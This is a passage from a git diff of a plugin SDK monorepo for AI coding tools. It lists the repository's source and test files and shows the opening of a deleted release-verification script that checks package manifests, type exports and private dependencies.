"packages/extensions/hooks/src/contributors/claude-code.ts", - "packages/extensions/hooks/src/contributors/codex.ts", - "packages/extensions/hooks/src/contributors/common.ts", - "packages/extensions/hooks/src/contributors/cursor.ts", - "packages/extensions/hooks/src/contributors/index.ts", - "packages/extensions/hooks/src/contributors/opencode.ts", - "packages/extensions/hooks/src/contributors/pi.ts", - "packages/extensions/hooks/src/discovery.ts", - "packages/extensions/hooks/src/index.ts", - "packages/extensions/hooks/src/runtime/integration.ts", - "packages/extensions/hooks/src/runtime/runner.ts", - "packages/extensions/hooks/src/runtime/wire.ts", - "packages/extensions/hooks/src/types.ts", - "packages/extensions/hooks/test/authoring-discovery.test.ts", - "packages/extensions/hooks/test/build.test.ts", - "packages/extensions/hooks/test/contributors.test.ts", - "packages/extensions/hooks/test/fixture.ts", - "packages/extensions/hooks/test/hooks.types.ts", - "packages/extensions/hooks/test/protocol.test.ts", - "packages/extensions/hooks/tsdown.config.ts", - "packages/extensions/mcp/src/build.ts", - "packages/extensions/mcp/src/constants.ts", - "packages/extensions/mcp/src/contributors/antigravity.ts", - "packages/extensions/mcp/src/contributors/claude-code.ts", - "packages/extensions/mcp/src/contributors/codex.ts", - "packages/extensions/mcp/src/contributors/common.ts", - "packages/extensions/mcp/src/contributors/cursor.ts", - "packages/extensions/mcp/src/contributors/index.ts", - "packages/extensions/mcp/src/contributors/opencode.ts", - "packages/extensions/mcp/src/contributors/pi.ts", - "packages/extensions/mcp/src/discovery.ts", - "packages/extensions/mcp/src/index.ts", - "packages/extensions/mcp/src/sorting.ts", - "packages/extensions/mcp/src/types.ts", - "packages/extensions/mcp/test/authoring-discovery.test.ts", - "packages/extensions/mcp/test/build-contributors.test.ts", - "packages/extensions/mcp/test/discovery-validation.test.ts", - "packages/extensions/mcp/test/fixture.ts", - "packages/extensions/mcp/test/protocol.test.ts", - "packages/extensions/mcp/tsdown.config.ts", - "packages/platforms/antigravity/src/index.ts", - "packages/platforms/antigravity/src/package/components.ts", - "packages/platforms/antigravity/src/package/manifest.ts", - "packages/platforms/antigravity/src/package/validator.ts", - "packages/platforms/antigravity/test/platform.test.ts", - "packages/platforms/antigravity/tsdown.config.ts", - "packages/platforms/antigravity/vitest.config.ts", - "packages/platforms/claude-code/src/index.ts", - "packages/platforms/claude-code/src/package/components.ts", - "packages/platforms/claude-code/src/package/manifest.ts", - "packages/platforms/claude-code/src/package/validation/hooks.ts", - "packages/platforms/claude-code/src/package/validation/index.ts", - "packages/platforms/claude-code/src/package/validation/manifest.ts", - "packages/platforms/claude-code/src/package/validation/marketplace.ts", - "packages/platforms/claude-code/src/package/validation/mcp.ts", - "packages/platforms/claude-code/src/package/validation/shared.ts", - "packages/platforms/claude-code/src/types.ts", - "packages/platforms/claude-code/test/platform.test.ts", - "packages/platforms/claude-code/tsdown.config.ts", - "packages/platforms/claude-code/vitest.config.ts", - "packages/platforms/codex/src/index.ts", - "packages/platforms/codex/src/package/components.ts", - "packages/platforms/codex/src/package/manifest.ts", - "packages/platforms/codex/src/package/protocol.ts", - "packages/platforms/codex/src/package/validation/assets.ts", - "packages/platforms/codex/src/package/validation/hooks.ts", - "packages/platforms/codex/src/package/validation/index.ts", - "packages/platforms/codex/src/package/validation/manifest.ts", - "packages/platforms/codex/src/package/validation/marketplace.ts", - "packages/platforms/codex/src/package/validation/mcp.ts", - "packages/platforms/codex/src/package/validation/shared.ts", - "packages/platforms/codex/src/package/validation/skills.ts", - "packages/platforms/codex/src/types.ts", - "packages/platforms/codex/test/platform.test.ts", - "packages/platforms/codex/tsdown.config.ts", - "packages/platforms/codex/vitest.config.ts", - "packages/platforms/cursor/src/index.ts", - "packages/platforms/cursor/src/package/components.ts", - "packages/platforms/cursor/src/package/manifest.ts", - "packages/platforms/cursor/src/package/validator.ts", - "packages/platforms/cursor/src/types.ts", - "packages/platforms/cursor/test/platform.test.ts", - "packages/platforms/cursor/tsdown.config.ts", - "packages/platforms/cursor/vitest.config.ts", - "packages/platforms/opencode/src/index.ts", - "packages/platforms/opencode/src/package/components.ts", - "packages/platforms/opencode/src/package/config-document.ts", - "packages/platforms/opencode/src/package/validator.ts", - "packages/platforms/opencode/src/types.ts", - "packages/platforms/opencode/test/platform.test.ts", - "packages/platforms/opencode/tsdown.config.ts", - "packages/platforms/opencode/vitest.config.ts", - "packages/platforms/pi/src/index.ts", - "packages/platforms/pi/src/package/components.ts", - "packages/platforms/pi/src/package/manifest.ts", - "packages/platforms/pi/src/package/validator.ts", - "packages/platforms/pi/src/types.ts", - "packages/platforms/pi/test/platform.test.ts", - "packages/platforms/pi/tsdown.config.ts", - "packages/platforms/pi/vitest.config.ts", - "packages/playground/acplugin.config.ts", - "packages/playground/src/hooks/permission-request/hook.ts", - "packages/playground/src/hooks/post-compact/hook.ts", - "packages/playground/src/hooks/post-tool-use/hook.ts", - "packages/playground/src/hooks/pre-compact/hook.ts", - "packages/playground/src/hooks/pre-tool-use/hook.ts", - "packages/playground/src/hooks/session-end/hook.ts", - "packages/playground/src/hooks/session-start/hook.ts", - "packages/playground/src/hooks/stop/hook.ts", - "packages/playground/src/hooks/subagent-start/hook.ts", - "packages/playground/src/hooks/subagent-stop/hook.ts", - "packages/playground/src/hooks/user-prompt-submit/hook.ts", - "packages/playground/src/mcp/local-tools/mcp.ts", - "packages/playground/src/mcp/local-tools/server.ts", - "packages/playground/src/mcp/oauth-docs/mcp.ts", - "packages/playground/src/mcp/protected-docs/mcp.ts", - "packages/playground/src/mcp/public-docs/mcp.ts", - "packages/playground/src/runtime/main.ts", - "packages/test/test/api/extension-api.types.ts", - "packages/test/test/api/legacy-api.types.ts", - "packages/test/test/api/public-api.types.ts", - "packages/test/test/api/sdk-package-boundary.test.ts", - "packages/test/test/architecture/architecture.test.ts", - "packages/test/test/architecture/integration-boundaries.test.ts", - "packages/test/test/architecture/repository.test.ts", - "packages/test/test/architecture/workspace-layout.test.ts", - "packages/test/test/architecture/workspace.test.ts", - "packages/test/test/cli/build.test.ts", - "packages/test/test/cli/cli.test.ts", - "packages/test/test/cli/init.test.ts", - "packages/test/test/extensions/hooks.test.ts", - "packages/test/test/migration.test.ts", - "packages/test/test/platforms/claude-code.test.ts", - "packages/test/test/platforms/codex.test.ts", - "packages/test/test/platforms/secondary-platforms.test.ts", - "packages/test/test/release/comment-coverage.test.ts", - "packages/test/test/release/ecosystem-contract.test.ts", - "packages/test/test/release/package-boundaries.test.ts", - "packages/test/vitest.config.ts", - "scripts/check-comments.mjs", - "scripts/verify-docs.mjs", - "scripts/verify-playground.mjs", - "scripts/verify-release.mjs" - ] -} diff --git a/scripts/verify-release.mjs b/scripts/verify-release.mjs deleted file mode 100644 index 9d117be..0000000 --- a/scripts/verify-release.mjs +++ /dev/null @@ -1,692 +0,0 @@ -import { spawn } from 'node:child_process'; -import { promises as fs } from 'node:fs'; -import { builtinModules } from 'node:module'; -import os from 'node:os'; -import path from 'node:path'; -import process from 'node:process'; -import { fileURLToPath, URL } from 'node:url'; -import { checkPackage, createPackageFromTarballData } from '@arethetypeswrong/core'; -import { init as initializeModuleLexer, parse as parseModule } from 'es-module-lexer'; -import { publint } from 'publint'; -import { mainPublicPackageName, publicPackageManifestPaths } from './public-packages.mjs'; - -/** 当前 monorepo 根目录。 */ -const root = path.resolve(fileURLToPath(new URL('..', import.meta.url))); -/** init、Migration 与发布验证共享的公开生态精确版本快照。 */ -const ecosystemVersions = JSON.parse(await fs.readFile(path.join(root, 'packages/acplugin/src/ecosystem/versions.json'), 'utf8')); -/** 同一 revision 中独立版本化并共同验证的全部公开包。 */ -const packages = await Promise.all(publicPackageManifestPaths.map(async (manifestPath) => { - /** manifest 是公开目录的唯一包名来源,不能依赖生成 JSON 的键位置。 */ - const manifest = JSON.parse(await fs.readFile(path.join(root, manifestPath), 'utf8')); - return Object.freeze({ name: manifest.name }); -})); -/** 主包之外必须通过 Peer Dependency 连接主包的官方生态包名。 */ -const integrationNames = new Set(packages.map(item => item.name).filter(name => name !== mainPublicPackageName)); -/** 发布 tarball 运行时依赖中绝不能出现的私有工作区包名。 */ -const privateNames = new Set([ - '@acplugin/core', - '@acplugin/test', -]); -/** ESM-only 正式包按 ATTW esm-only Profile 有意不提供的旧/CJS 解析模式。 */ -const esmOnlyIgnoredResolutions = new Set(['node10', 'node16-cjs']); -/** Node 同时允许 `node:fs` 和 legacy `fs` 形式的内建模块边。 */ -const nodeBuiltinSpecifiers = new Set(builtinModules.flatMap(name => [name, `node:${name.replace(/^node:/u, '')}`])); - -/** - * 解析可选的 tarball 保留目录,并拒绝含糊或可能覆盖已有文件的调用。 - * - * @param args Node 入口之后的命令行参数。 - * @returns 显式目录的绝对路径;本地默认临时验证时返回 undefined。 - */ -async function retainedTarballDirectory(args) { - /** pnpm 10 会把 `pnpm run